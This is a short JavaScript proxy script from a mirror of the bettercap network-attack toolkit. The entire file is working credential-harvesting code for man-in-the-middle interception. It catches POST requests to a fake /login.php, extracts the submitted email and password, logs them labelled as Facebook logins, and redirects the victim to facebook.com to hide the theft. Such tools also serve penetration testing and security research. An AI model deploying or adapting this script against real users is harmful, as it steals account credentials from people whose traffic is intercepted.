mirror of
https://github.com/bettercap/bettercap
synced 2025-07-06 04:52:10 -07:00
23 lines
649 B
JavaScript
23 lines
649 B
JavaScript
var RESET = "\033[0m";
|
|
|
|
function R(s) {
|
|
return "\033[31m" + s + RESET;
|
|
}
|
|
|
|
function B(s) {
|
|
return "\033[34m" + s + RESET;
|
|
}
|
|
|
|
function onRequest(req, res) {
|
|
if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) {
|
|
var form = req.ParseForm();
|
|
var email = form["email"] || "?",
|
|
pass = form["pass"] || "?";
|
|
|
|
log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" );
|
|
|
|
res.Status = 301;
|
|
res.Headers = "Location: https://www.facebook.com/\n" +
|
|
"Connection: close";
|
|
}
|
|
}
|